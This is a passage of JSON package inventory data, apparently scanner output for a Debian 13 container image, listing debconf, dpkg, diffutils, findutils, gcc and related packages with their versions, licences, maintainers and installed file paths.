"/usr/share/perl5/Debconf/Db.pm", "/usr/share/perl5/Debconf/DbDriver.pm", "/usr/share/perl5/Debconf/DbDriver/Backup.pm", "/usr/share/perl5/Debconf/DbDriver/Cache.pm", "/usr/share/perl5/Debconf/DbDriver/Copy.pm", "/usr/share/perl5/Debconf/DbDriver/Debug.pm", "/usr/share/perl5/Debconf/DbDriver/DirTree.pm", "/usr/share/perl5/Debconf/DbDriver/Directory.pm", "/usr/share/perl5/Debconf/DbDriver/File.pm", "/usr/share/perl5/Debconf/DbDriver/LDAP.pm", "/usr/share/perl5/Debconf/DbDriver/PackageDir.pm", "/usr/share/perl5/Debconf/DbDriver/Pipe.pm", "/usr/share/perl5/Debconf/DbDriver/Stack.pm", "/usr/share/perl5/Debconf/Element.pm", "/usr/share/perl5/Debconf/Element/Dialog/Boolean.pm", "/usr/share/perl5/Debconf/Element/Dialog/Error.pm", "/usr/share/perl5/Debconf/Element/Dialog/Multiselect.pm", "/usr/share/perl5/Debconf/Element/Dialog/Note.pm", "/usr/share/perl5/Debconf/Element/Dialog/Password.pm", "/usr/share/perl5/Debconf/Element/Dialog/Progress.pm", "/usr/share/perl5/Debconf/Element/Dialog/Select.pm", "/usr/share/perl5/Debconf/Element/Dialog/String.pm", "/usr/share/perl5/Debconf/Element/Dialog/Text.pm", "/usr/share/perl5/Debconf/Element/Editor/Boolean.pm", "/usr/share/perl5/Debconf/Element/Editor/Error.pm", "/usr/share/perl5/Debconf/Element/Editor/Multiselect.pm", "/usr/share/perl5/Debconf/Element/Editor/Note.pm", "/usr/share/perl5/Debconf/Element/Editor/Password.pm", "/usr/share/perl5/Debconf/Element/Editor/Progress.pm", "/usr/share/perl5/Debconf/Element/Editor/Select.pm", "/usr/share/perl5/Debconf/Element/Editor/String.pm", "/usr/share/perl5/Debconf/Element/Editor/Text.pm", "/usr/share/perl5/Debconf/Element/Gnome.pm", "/usr/share/perl5/Debconf/Element/Gnome/Boolean.pm", "/usr/share/perl5/Debconf/Element/Gnome/Error.pm", "/usr/share/perl5/Debconf/Element/Gnome/Multiselect.pm", "/usr/share/perl5/Debconf/Element/Gnome/Note.pm", "/usr/share/perl5/Debconf/Element/Gnome/Password.pm", "/usr/share/perl5/Debconf/Element/Gnome/Progress.pm", "/usr/share/perl5/Debconf/Element/Gnome/Select.pm", "/usr/share/perl5/Debconf/Element/Gnome/String.pm", "/usr/share/perl5/Debconf/Element/Gnome/Text.pm", "/usr/share/perl5/Debconf/Element/Multiselect.pm", "/usr/share/perl5/Debconf/Element/Noninteractive.pm", "/usr/share/perl5/Debconf/Element/Noninteractive/Boolean.pm", "/usr/share/perl5/Debconf/Element/Noninteractive/Error.pm", "/usr/share/perl5/Debconf/Element/Noninteractive/Multiselect.pm", "/usr/share/perl5/Debconf/Element/Noninteractive/Note.pm", "/usr/share/perl5/Debconf/Element/Noninteractive/Password.pm", "/usr/share/perl5/Debconf/Element/Noninteractive/Progress.pm", "/usr/share/perl5/Debconf/Element/Noninteractive/Select.pm", "/usr/share/perl5/Debconf/Element/Noninteractive/String.pm", "/usr/share/perl5/Debconf/Element/Noninteractive/Text.pm", "/usr/share/perl5/Debconf/Element/Select.pm", "/usr/share/perl5/Debconf/Element/Teletype/Boolean.pm", "/usr/share/perl5/Debconf/Element/Teletype/Error.pm", "/usr/share/perl5/Debconf/Element/Teletype/Multiselect.pm", "/usr/share/perl5/Debconf/Element/Teletype/Note.pm", "/usr/share/perl5/Debconf/Element/Teletype/Password.pm", "/usr/share/perl5/Debconf/Element/Teletype/Progress.pm", "/usr/share/perl5/Debconf/Element/Teletype/Select.pm", "/usr/share/perl5/Debconf/Element/Teletype/String.pm", "/usr/share/perl5/Debconf/Element/Teletype/Text.pm", "/usr/share/perl5/Debconf/Element/Web/Boolean.pm", "/usr/share/perl5/Debconf/Element/Web/Error.pm", "/usr/share/perl5/Debconf/Element/Web/Multiselect.pm", "/usr/share/perl5/Debconf/Element/Web/Note.pm", "/usr/share/perl5/Debconf/Element/Web/Password.pm", "/usr/share/perl5/Debconf/Element/Web/Progress.pm", "/usr/share/perl5/Debconf/Element/Web/Select.pm", "/usr/share/perl5/Debconf/Element/Web/String.pm", "/usr/share/perl5/Debconf/Element/Web/Text.pm", "/usr/share/perl5/Debconf/Encoding.pm", "/usr/share/perl5/Debconf/Format.pm", "/usr/share/perl5/Debconf/Format/822.pm", "/usr/share/perl5/Debconf/FrontEnd.pm", "/usr/share/perl5/Debconf/FrontEnd/Dialog.pm", "/usr/share/perl5/Debconf/FrontEnd/Editor.pm", "/usr/share/perl5/Debconf/FrontEnd/Gnome.pm", "/usr/share/perl5/Debconf/FrontEnd/Kde.pm", "/usr/share/perl5/Debconf/FrontEnd/Noninteractive.pm", "/usr/share/perl5/Debconf/FrontEnd/Passthrough.pm", "/usr/share/perl5/Debconf/FrontEnd/Readline.pm", "/usr/share/perl5/Debconf/FrontEnd/ScreenSize.pm", "/usr/share/perl5/Debconf/FrontEnd/Teletype.pm", "/usr/share/perl5/Debconf/FrontEnd/Text.pm", "/usr/share/perl5/Debconf/FrontEnd/Web.pm", "/usr/share/perl5/Debconf/Gettext.pm", "/usr/share/perl5/Debconf/Iterator.pm", "/usr/share/perl5/Debconf/Log.pm", "/usr/share/perl5/Debconf/Path.pm", "/usr/share/perl5/Debconf/Priority.pm", "/usr/share/perl5/Debconf/Question.pm", "/usr/share/perl5/Debconf/Template.pm", "/usr/share/perl5/Debconf/Template/Transient.pm", "/usr/share/perl5/Debconf/TmpFile.pm", "/usr/share/perl5/Debian/DebConf/Client/ConfModule.pm", "/usr/share/pixmaps/debian-logo.png" ], "AnalyzedBy": "dpkg" }, { "ID": "debian-archive-keyring@2025.1", "Name": "debian-archive-keyring", "Identifier": { "PURL": "pkg:deb/debian/debian-archive-keyring@2025.1?arch=all\u0026distro=debian-13.6", "UID": "a22d861380b1187c" }, "Version": "2025.1", "Arch": "all", "SrcName": "debian-archive-keyring", "SrcVersion": "2025.1", "Licenses": [ "GPL-2.0-or-later" ], "Maintainer": "Debian Release Team \u003cpackages@release.debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "InstalledFiles": [ "/usr/share/doc/debian-archive-keyring/NEWS.Debian.gz", "/usr/share/doc/debian-archive-keyring/README", "/usr/share/doc/debian-archive-keyring/changelog.gz", "/usr/share/doc/debian-archive-keyring/copyright", "/usr/share/keyrings/debian-archive-bookworm-automatic.pgp", "/usr/share/keyrings/debian-archive-bookworm-security-automatic.pgp", "/usr/share/keyrings/debian-archive-bookworm-stable.pgp", "/usr/share/keyrings/debian-archive-bullseye-automatic.pgp", "/usr/share/keyrings/debian-archive-bullseye-security-automatic.pgp", "/usr/share/keyrings/debian-archive-bullseye-stable.pgp", "/usr/share/keyrings/debian-archive-keyring.pgp", "/usr/share/keyrings/debian-archive-removed-keys.pgp", "/usr/share/keyrings/debian-archive-trixie-automatic.pgp", "/usr/share/keyrings/debian-archive-trixie-security-automatic.pgp", "/usr/share/keyrings/debian-archive-trixie-stable.pgp" ], "AnalyzedBy": "dpkg" }, { "ID": "debianutils@5.23.2", "Name": "debianutils", "Identifier": { "PURL": "pkg:deb/debian/debianutils@5.23.2?arch=amd64\u0026distro=debian-13.6", "UID": "3c5d0b66afafddbb" }, "Version": "5.23.2", "Arch": "amd64", "SrcName": "debianutils", "SrcVersion": "5.23.2", "Licenses": [ "GPL-2.0-or-later", "GPL-2.0-only", "public-domain", "SMAIL-GPL" ], "Maintainer": "Ileana Dumitrescu \u003cileanadumitrescu95@gmail.com\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "InstalledFiles": [ "/usr/bin/ischroot", "/usr/bin/run-parts", "/usr/bin/savelog", "/usr/bin/tempfile", "/usr/bin/which.debianutils", "/usr/sbin/add-shell", "/usr/sbin/installkernel", "/usr/sbin/remove-shell", "/usr/sbin/update-shells", "/usr/share/debianutils/shells", "/usr/share/doc/debianutils/README.shells", "/usr/share/doc/debianutils/changelog.gz", "/usr/share/doc/debianutils/copyright", "/usr/share/man/de/man1/which.debianutils.1.gz", "/usr/share/man/de/man8/add-shell.8.gz", "/usr/share/man/de/man8/installkernel.8.gz", "/usr/share/man/de/man8/remove-shell.8.gz", "/usr/share/man/de/man8/run-parts.8.gz", "/usr/share/man/de/man8/savelog.8.gz", "/usr/share/man/es/man1/which.debianutils.1.gz", "/usr/share/man/es/man8/add-shell.8.gz", "/usr/share/man/es/man8/installkernel.8.gz", "/usr/share/man/es/man8/remove-shell.8.gz", "/usr/share/man/es/man8/run-parts.8.gz", "/usr/share/man/es/man8/savelog.8.gz", "/usr/share/man/fr/man1/which.debianutils.1.gz", "/usr/share/man/fr/man8/add-shell.8.gz", "/usr/share/man/fr/man8/installkernel.8.gz", "/usr/share/man/fr/man8/remove-shell.8.gz", "/usr/share/man/fr/man8/run-parts.8.gz", "/usr/share/man/fr/man8/savelog.8.gz", "/usr/share/man/it/man1/which.debianutils.1.gz", "/usr/share/man/it/man8/add-shell.8.gz", "/usr/share/man/it/man8/installkernel.8.gz", "/usr/share/man/it/man8/remove-shell.8.gz", "/usr/share/man/it/man8/run-parts.8.gz", "/usr/share/man/it/man8/savelog.8.gz", "/usr/share/man/ja/man1/which.debianutils.1.gz", "/usr/share/man/ja/man8/add-shell.8.gz", "/usr/share/man/ja/man8/installkernel.8.gz", "/usr/share/man/ja/man8/remove-shell.8.gz", "/usr/share/man/ja/man8/run-parts.8.gz", "/usr/share/man/ja/man8/savelog.8.gz", "/usr/share/man/man1/ischroot.1.gz", "/usr/share/man/man1/tempfile.1.gz", "/usr/share/man/man1/which.debianutils.1.gz", "/usr/share/man/man8/add-shell.8.gz", "/usr/share/man/man8/installkernel.8.gz", "/usr/share/man/man8/remove-shell.8.gz", "/usr/share/man/man8/run-parts.8.gz", "/usr/share/man/man8/savelog.8.gz", "/usr/share/man/man8/update-shells.8.gz", "/usr/share/man/pl/man1/which.debianutils.1.gz", "/usr/share/man/pl/man8/add-shell.8.gz", "/usr/share/man/pl/man8/installkernel.8.gz", "/usr/share/man/pl/man8/remove-shell.8.gz", "/usr/share/man/pl/man8/run-parts.8.gz", "/usr/share/man/pl/man8/savelog.8.gz", "/usr/share/man/pt/man1/which.debianutils.1.gz", "/usr/share/man/pt/man8/add-shell.8.gz", "/usr/share/man/pt/man8/installkernel.8.gz", "/usr/share/man/pt/man8/remove-shell.8.gz", "/usr/share/man/pt/man8/run-parts.8.gz", "/usr/share/man/pt/man8/savelog.8.gz", "/usr/share/man/sl/man1/which.debianutils.1.gz", "/usr/share/man/sl/man8/add-shell.8.gz", "/usr/share/man/sl/man8/installkernel.8.gz", "/usr/share/man/sl/man8/remove-shell.8.gz", "/usr/share/man/sl/man8/run-parts.8.gz", "/usr/share/man/sl/man8/savelog.8.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "diffutils@1:3.10-4", "Name": "diffutils", "Identifier": { "PURL": "pkg:deb/debian/diffutils@3.10-4?arch=amd64\u0026distro=debian-13.6\u0026epoch=1", "UID": "852f693a78aaa149" }, "Version": "3.10", "Release": "4", "Epoch": 1, "Arch": "amd64", "SrcName": "diffutils", "SrcVersion": "3.10", "SrcRelease": "4", "SrcEpoch": 1, "Licenses": [ "GPL-3.0-or-later", "FSFULLR", "LGPL-2.1-or-later", "GPL-3.0-with-autoconf-exception+", "GPL-3.0-only", "GPL-3+ with texinfo exception", "LGPL-2.0-or-later", "GPL-2.0-or-later", "X11", "FSFAP", "GFDL-1.3-no-invariants-only", "LGPL-3.0-or-later", "LGPL-3.0-only", "public-domain", "LGPL-2.0-only", "LGPL-2.1-only", "GPL-2.0-only", "GFDL-1.3-only" ], "Maintainer": "Santiago Vila \u003csanvila@debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "InstalledFiles": [ "/usr/bin/cmp", "/usr/bin/diff", "/usr/bin/diff3", "/usr/bin/sdiff", "/usr/share/doc/diffutils/NEWS.gz", "/usr/share/doc/diffutils/changelog.Debian.gz", "/usr/share/doc/diffutils/changelog.gz", "/usr/share/doc/diffutils/copyright", "/usr/share/info/diffutils.info.gz", "/usr/share/locale/bg/LC_MESSAGES/diffutils.mo", "/usr/share/locale/ca/LC_MESSAGES/diffutils.mo", "/usr/share/locale/cs/LC_MESSAGES/diffutils.mo", "/usr/share/locale/da/LC_MESSAGES/diffutils.mo", "/usr/share/locale/de/LC_MESSAGES/diffutils.mo", "/usr/share/locale/el/LC_MESSAGES/diffutils.mo", "/usr/share/locale/eo/LC_MESSAGES/diffutils.mo", "/usr/share/locale/es/LC_MESSAGES/diffutils.mo", "/usr/share/locale/fi/LC_MESSAGES/diffutils.mo", "/usr/share/locale/fr/LC_MESSAGES/diffutils.mo", "/usr/share/locale/ga/LC_MESSAGES/diffutils.mo", "/usr/share/locale/gl/LC_MESSAGES/diffutils.mo", "/usr/share/locale/he/LC_MESSAGES/diffutils.mo", "/usr/share/locale/hr/LC_MESSAGES/diffutils.mo", "/usr/share/locale/hu/LC_MESSAGES/diffutils.mo", "/usr/share/locale/id/LC_MESSAGES/diffutils.mo", "/usr/share/locale/it/LC_MESSAGES/diffutils.mo", "/usr/share/locale/ja/LC_MESSAGES/diffutils.mo", "/usr/share/locale/ka/LC_MESSAGES/diffutils.mo", "/usr/share/locale/ko/LC_MESSAGES/diffutils.mo", "/usr/share/locale/lv/LC_MESSAGES/diffutils.mo", "/usr/share/locale/ms/LC_MESSAGES/diffutils.mo", "/usr/share/locale/nb/LC_MESSAGES/diffutils.mo", "/usr/share/locale/nl/LC_MESSAGES/diffutils.mo", "/usr/share/locale/pl/LC_MESSAGES/diffutils.mo", "/usr/share/locale/pt/LC_MESSAGES/diffutils.mo", "/usr/share/locale/pt_BR/LC_MESSAGES/diffutils.mo", "/usr/share/locale/ro/LC_MESSAGES/diffutils.mo", "/usr/share/locale/ru/LC_MESSAGES/diffutils.mo", "/usr/share/locale/sr/LC_MESSAGES/diffutils.mo", "/usr/share/locale/sv/LC_MESSAGES/diffutils.mo", "/usr/share/locale/tr/LC_MESSAGES/diffutils.mo", "/usr/share/locale/uk/LC_MESSAGES/diffutils.mo", "/usr/share/locale/vi/LC_MESSAGES/diffutils.mo", "/usr/share/locale/zh_CN/LC_MESSAGES/diffutils.mo", "/usr/share/locale/zh_TW/LC_MESSAGES/diffutils.mo", "/usr/share/man/man1/cmp.1.gz", "/usr/share/man/man1/diff.1.gz", "/usr/share/man/man1/diff3.1.gz", "/usr/share/man/man1/sdiff.1.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "dpkg@1.22.22", "Name": "dpkg", "Identifier": { "PURL": "pkg:deb/debian/dpkg@1.22.22?arch=amd64\u0026distro=debian-13.6", "UID": "7b97f27e3bec0417" }, "Version": "1.22.22", "Arch": "amd64", "SrcName": "dpkg", "SrcVersion": "1.22.22", "Licenses": [ "GPL-2.0-or-later", "public-domain-s-s-d", "GPL-2.0-only" ], "Maintainer": "Dpkg Developers \u003cdebian-dpkg@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "tar@1.35+dfsg-3.1" ], "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "InstalledFiles": [ "/usr/bin/dpkg", "/usr/bin/dpkg-deb", "/usr/bin/dpkg-divert", "/usr/bin/dpkg-maintscript-helper", "/usr/bin/dpkg-query", "/usr/bin/dpkg-realpath", "/usr/bin/dpkg-split", "/usr/bin/dpkg-statoverride", "/usr/bin/dpkg-trigger", "/usr/bin/update-alternatives", "/usr/lib/systemd/system/dpkg-db-backup.service", "/usr/lib/systemd/system/dpkg-db-backup.timer", "/usr/libexec/dpkg/dpkg-db-backup", "/usr/libexec/dpkg/dpkg-db-keeper", "/usr/sbin/start-stop-daemon", "/usr/share/doc/dpkg/AUTHORS", "/usr/share/doc/dpkg/README.api", "/usr/share/doc/dpkg/README.bug-usertags.gz", "/usr/share/doc/dpkg/README.feature-removal-schedule.gz", "/usr/share/doc/dpkg/THANKS.gz", "/usr/share/doc/dpkg/changelog.gz", "/usr/share/doc/dpkg/copyright", "/usr/share/dpkg/abitable", "/usr/share/dpkg/cputable", "/usr/share/dpkg/ostable", "/usr/share/dpkg/sh/dpkg-error.sh", "/usr/share/dpkg/tupletable", "/usr/share/lintian/overrides/dpkg", "/usr/share/lintian/profiles/dpkg/main.profile", "/usr/share/locale/ast/LC_MESSAGES/dpkg.mo", "/usr/share/locale/bs/LC_MESSAGES/dpkg.mo", "/usr/share/locale/ca/LC_MESSAGES/dpkg.mo", "/usr/share/locale/cs/LC_MESSAGES/dpkg.mo", "/usr/share/locale/da/LC_MESSAGES/dpkg.mo", "/usr/share/locale/de/LC_MESSAGES/dpkg.mo", "/usr/share/locale/dz/LC_MESSAGES/dpkg.mo", "/usr/share/locale/el/LC_MESSAGES/dpkg.mo", "/usr/share/locale/eo/LC_MESSAGES/dpkg.mo", "/usr/share/locale/es/LC_MESSAGES/dpkg.mo", "/usr/share/locale/et/LC_MESSAGES/dpkg.mo", "/usr/share/locale/eu/LC_MESSAGES/dpkg.mo", "/usr/share/locale/fr/LC_MESSAGES/dpkg.mo", "/usr/share/locale/gl/LC_MESSAGES/dpkg.mo", "/usr/share/locale/hu/LC_MESSAGES/dpkg.mo", "/usr/share/locale/id/LC_MESSAGES/dpkg.mo", "/usr/share/locale/it/LC_MESSAGES/dpkg.mo", "/usr/share/locale/ja/LC_MESSAGES/dpkg.mo", "/usr/share/locale/km/LC_MESSAGES/dpkg.mo", "/usr/share/locale/ko/LC_MESSAGES/dpkg.mo", "/usr/share/locale/ku/LC_MESSAGES/dpkg.mo", "/usr/share/locale/lt/LC_MESSAGES/dpkg.mo", "/usr/share/locale/mr/LC_MESSAGES/dpkg.mo", "/usr/share/locale/nb/LC_MESSAGES/dpkg.mo", "/usr/share/locale/ne/LC_MESSAGES/dpkg.mo", "/usr/share/locale/nl/LC_MESSAGES/dpkg.mo", "/usr/share/locale/nn/LC_MESSAGES/dpkg.mo", "/usr/share/locale/oc/LC_MESSAGES/dpkg.mo", "/usr/share/locale/pa/LC_MESSAGES/dpkg.mo", "/usr/share/locale/pl/LC_MESSAGES/dpkg.mo", "/usr/share/locale/pt/LC_MESSAGES/dpkg.mo", "/usr/share/locale/pt_BR/LC_MESSAGES/dpkg.mo", "/usr/share/locale/ro/LC_MESSAGES/dpkg.mo", "/usr/share/locale/ru/LC_MESSAGES/dpkg.mo", "/usr/share/locale/sk/LC_MESSAGES/dpkg.mo", "/usr/share/locale/sv/LC_MESSAGES/dpkg.mo", "/usr/share/locale/th/LC_MESSAGES/dpkg.mo", "/usr/share/locale/tl/LC_MESSAGES/dpkg.mo", "/usr/share/locale/tr/LC_MESSAGES/dpkg.mo", "/usr/share/locale/vi/LC_MESSAGES/dpkg.mo", "/usr/share/locale/zh_CN/LC_MESSAGES/dpkg.mo", "/usr/share/locale/zh_TW/LC_MESSAGES/dpkg.mo", "/usr/share/man/de/man1/dpkg-deb.1.gz", "/usr/share/man/de/man1/dpkg-divert.1.gz", "/usr/share/man/de/man1/dpkg-maintscript-helper.1.gz", "/usr/share/man/de/man1/dpkg-query.1.gz", "/usr/share/man/de/man1/dpkg-realpath.1.gz", "/usr/share/man/de/man1/dpkg-split.1.gz", "/usr/share/man/de/man1/dpkg-statoverride.1.gz", "/usr/share/man/de/man1/dpkg-trigger.1.gz", "/usr/share/man/de/man1/dpkg.1.gz", "/usr/share/man/de/man1/update-alternatives.1.gz", "/usr/share/man/de/man5/dpkg.cfg.5.gz", "/usr/share/man/de/man8/start-stop-daemon.8.gz", "/usr/share/man/es/man5/dpkg.cfg.5.gz", "/usr/share/man/fr/man1/dpkg-divert.1.gz", "/usr/share/man/fr/man1/dpkg-maintscript-helper.1.gz", "/usr/share/man/fr/man1/dpkg-query.1.gz", "/usr/share/man/fr/man1/dpkg-realpath.1.gz", "/usr/share/man/fr/man1/dpkg-split.1.gz", "/usr/share/man/fr/man1/dpkg-trigger.1.gz", "/usr/share/man/fr/man1/update-alternatives.1.gz", "/usr/share/man/fr/man5/dpkg.cfg.5.gz", "/usr/share/man/fr/man8/start-stop-daemon.8.gz", "/usr/share/man/it/man5/dpkg.cfg.5.gz", "/usr/share/man/ja/man5/dpkg.cfg.5.gz", "/usr/share/man/man1/dpkg-deb.1.gz", "/usr/share/man/man1/dpkg-divert.1.gz", "/usr/share/man/man1/dpkg-maintscript-helper.1.gz", "/usr/share/man/man1/dpkg-query.1.gz", "/usr/share/man/man1/dpkg-realpath.1.gz", "/usr/share/man/man1/dpkg-split.1.gz", "/usr/share/man/man1/dpkg-statoverride.1.gz", "/usr/share/man/man1/dpkg-trigger.1.gz", "/usr/share/man/man1/dpkg.1.gz", "/usr/share/man/man1/update-alternatives.1.gz", "/usr/share/man/man5/dpkg.cfg.5.gz", "/usr/share/man/man8/start-stop-daemon.8.gz", "/usr/share/man/nl/man1/dpkg-deb.1.gz", "/usr/share/man/nl/man1/dpkg-divert.1.gz", "/usr/share/man/nl/man1/dpkg-maintscript-helper.1.gz", "/usr/share/man/nl/man1/dpkg-query.1.gz", "/usr/share/man/nl/man1/dpkg-realpath.1.gz", "/usr/share/man/nl/man1/dpkg-split.1.gz", "/usr/share/man/nl/man1/dpkg-statoverride.1.gz", "/usr/share/man/nl/man1/dpkg-trigger.1.gz", "/usr/share/man/nl/man1/dpkg.1.gz", "/usr/share/man/nl/man1/update-alternatives.1.gz", "/usr/share/man/nl/man5/dpkg.cfg.5.gz", "/usr/share/man/nl/man8/start-stop-daemon.8.gz", "/usr/share/man/pl/man5/dpkg.cfg.5.gz", "/usr/share/man/pt/man1/dpkg-deb.1.gz", "/usr/share/man/pt/man1/dpkg-divert.1.gz", "/usr/share/man/pt/man1/dpkg-maintscript-helper.1.gz", "/usr/share/man/pt/man1/dpkg-query.1.gz", "/usr/share/man/pt/man1/dpkg-realpath.1.gz", "/usr/share/man/pt/man1/dpkg-split.1.gz", "/usr/share/man/pt/man1/dpkg-statoverride.1.gz", "/usr/share/man/pt/man1/dpkg-trigger.1.gz", "/usr/share/man/pt/man1/dpkg.1.gz", "/usr/share/man/pt/man1/update-alternatives.1.gz", "/usr/share/man/pt/man5/dpkg.cfg.5.gz", "/usr/share/man/pt/man8/start-stop-daemon.8.gz", "/usr/share/man/sv/man1/dpkg-deb.1.gz", "/usr/share/man/sv/man1/dpkg-divert.1.gz", "/usr/share/man/sv/man1/dpkg-maintscript-helper.1.gz", "/usr/share/man/sv/man1/dpkg-query.1.gz", "/usr/share/man/sv/man1/dpkg-realpath.1.gz", "/usr/share/man/sv/man1/dpkg-split.1.gz", "/usr/share/man/sv/man1/dpkg-statoverride.1.gz", "/usr/share/man/sv/man1/dpkg-trigger.1.gz", "/usr/share/man/sv/man1/dpkg.1.gz", "/usr/share/man/sv/man1/update-alternatives.1.gz", "/usr/share/man/sv/man5/dpkg.cfg.5.gz", "/usr/share/man/sv/man8/start-stop-daemon.8.gz", "/usr/share/polkit-1/actions/org.dpkg.pkexec.update-alternatives.policy" ], "AnalyzedBy": "dpkg" }, { "ID": "findutils@4.10.0-3", "Name": "findutils", "Identifier": { "PURL": "pkg:deb/debian/findutils@4.10.0-3?arch=amd64\u0026distro=debian-13.6", "UID": "12e741692291b42a" }, "Version": "4.10.0", "Release": "3", "Arch": "amd64", "SrcName": "findutils", "SrcVersion": "4.10.0", "SrcRelease": "3", "Licenses": [ "GFDL-1.3-no-invariants-or-later", "GPL-3.0-or-later", "FSFAP", "GPL-2+ with Autoconf-data exception", "GPL-3+ with Autoconf-data exception", "FSFULLR", "GPL-2.0-or-later", "X11", "public-domain", "LGPL-2.1-or-later", "GPL with automake exception", "LGPL-2.0-or-later", "LGPL-3.0-or-later", "BSD-3-Clause", "GPL-3+ with Bison-2.2 exception", "LGPL-3.0-only", "ISC", "GFDL-1.3-only", "GPL-2.0-only", "GPL-3.0-only", "LGPL-2.0-only", "LGPL-2.1-only" ], "Maintainer": "Andreas Metzler \u003cametzler@debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "InstalledFiles": [ "/usr/bin/find", "/usr/bin/xargs", "/usr/share/doc-base/findutils.findutils", "/usr/share/doc/findutils/NEWS.gz", "/usr/share/doc/findutils/README.gz", "/usr/share/doc/findutils/TODO", "/usr/share/doc/findutils/changelog.Debian.gz", "/usr/share/doc/findutils/changelog.gz", "/usr/share/doc/findutils/copyright", "/usr/share/info/find-maint.info.gz", "/usr/share/info/find.info.gz", "/usr/share/locale/be/LC_MESSAGES/findutils.mo", "/usr/share/locale/bg/LC_MESSAGES/findutils.mo", "/usr/share/locale/ca/LC_MESSAGES/findutils.mo", "/usr/share/locale/cs/LC_MESSAGES/findutils.mo", "/usr/share/locale/da/LC_MESSAGES/findutils.mo", "/usr/share/locale/de/LC_MESSAGES/findutils.mo", "/usr/share/locale/el/LC_MESSAGES/findutils.mo", "/usr/share/locale/eo/LC_MESSAGES/findutils.mo", "/usr/share/locale/es/LC_MESSAGES/findutils.mo", "/usr/share/locale/et/LC_MESSAGES/findutils.mo", "/usr/share/locale/fi/LC_MESSAGES/findutils.mo", "/usr/share/locale/fr/LC_MESSAGES/findutils.mo", "/usr/share/locale/ga/LC_MESSAGES/findutils.mo", "/usr/share/locale/gl/LC_MESSAGES/findutils.mo", "/usr/share/locale/hr/LC_MESSAGES/findutils.mo", "/usr/share/locale/hu/LC_MESSAGES/findutils.mo", "/usr/share/locale/id/LC_MESSAGES/findutils.mo", "/usr/share/locale/it/LC_MESSAGES/findutils.mo", "/usr/share/locale/ja/LC_MESSAGES/findutils.mo", "/usr/share/locale/ka/LC_MESSAGES/findutils.mo", "/usr/share/locale/ko/LC_MESSAGES/findutils.mo", "/usr/share/locale/lg/LC_MESSAGES/findutils.mo", "/usr/share/locale/lt/LC_MESSAGES/findutils.mo", "/usr/share/locale/ms/LC_MESSAGES/findutils.mo", "/usr/share/locale/nb/LC_MESSAGES/findutils.mo", "/usr/share/locale/nl/LC_MESSAGES/findutils.mo", "/usr/share/locale/pl/LC_MESSAGES/findutils.mo", "/usr/share/locale/pt/LC_MESSAGES/findutils.mo", "/usr/share/locale/pt_BR/LC_MESSAGES/findutils.mo", "/usr/share/locale/ro/LC_MESSAGES/findutils.mo", "/usr/share/locale/ru/LC_MESSAGES/findutils.mo", "/usr/share/locale/sk/LC_MESSAGES/findutils.mo", "/usr/share/locale/sl/LC_MESSAGES/findutils.mo", "/usr/share/locale/sr/LC_MESSAGES/findutils.mo", "/usr/share/locale/sv/LC_MESSAGES/findutils.mo", "/usr/share/locale/tr/LC_MESSAGES/findutils.mo", "/usr/share/locale/uk/LC_MESSAGES/findutils.mo", "/usr/share/locale/vi/LC_MESSAGES/findutils.mo", "/usr/share/locale/zh_CN/LC_MESSAGES/findutils.mo", "/usr/share/locale/zh_TW/LC_MESSAGES/findutils.mo", "/usr/share/man/man1/find.1.gz", "/usr/share/man/man1/xargs.1.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "gcc@4:14.2.0-1", "Name": "gcc", "Identifier": { "PURL": "pkg:deb/debian/gcc@14.2.0-1?arch=amd64\u0026distro=debian-13.6\u0026epoch=4", "UID": "276908462bcefa78" }, "Version": "14.2.0", "Release": "1", "Epoch": 4, "Arch": "amd64", "SrcName": "gcc-defaults", "SrcVersion": "1.220", "Maintainer": "Debian GCC Maintainers \u003cdebian-gcc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "cpp-x86-64-linux-gnu@4:14.2.0-1", "cpp@4:14.2.0-1", "gcc-14@14.2.0-19", "gcc-x86-64-linux-gnu@4:14.2.0-1" ], "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "InstalledFiles": [ "/usr/bin/c89-gcc", "/usr/bin/c99-gcc", "/usr/share/lintian/overrides/gcc", "/usr/share/man/man1/c89-gcc.1.gz", "/usr/share/man/man1/c99-gcc.1.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "gcc-14@14.2.0-19", "Name": "gcc-14", "Identifier": { "PURL": "pkg:deb/debian/gcc-14@14.2.0-19?arch=amd64\u0026distro=debian-13.6", "UID": "eb4e2f2b4eca9991" }, "Version": "14.2.0", "Release": "19", "Arch": "amd64", "SrcName": "gcc-14", "SrcVersion": "14.2.0", "SrcRelease": "19", "Maintainer": "Debian GCC Maintainers \u003cdebian-gcc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "binutils@2.44-3", "cpp-14@14.2.0-19", "gcc-14-base@14.2.0-19", "gcc-14-x86-64-linux-gnu@14.2.0-19" ], "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "InstalledFiles": [ "/usr/share/doc/gcc-14-base/NEWS.gz", "/usr/share/doc/gcc-14-base/NEWS.html", "/usr/share/doc/gcc-14-base/README.Bugs", "/usr/share/doc/gcc-14-base/README.ssp", "/usr/share/doc/gcc-14-base/changelog.gz", "/usr/share/doc/gcc-14-base/gcc/changelog.gz", "/usr/share/doc/gcc-14-base/gomp/changelog.gz", "/usr/share/doc/gcc-14-base/itm/changelog.gz", "/usr/share/doc/gcc-14-base/quadmath/changelog.gz", "/usr/share/doc/gcc-14-base/sanitizer/changelog.gz", "/usr/share/lintian/overrides/gcc-14" ], 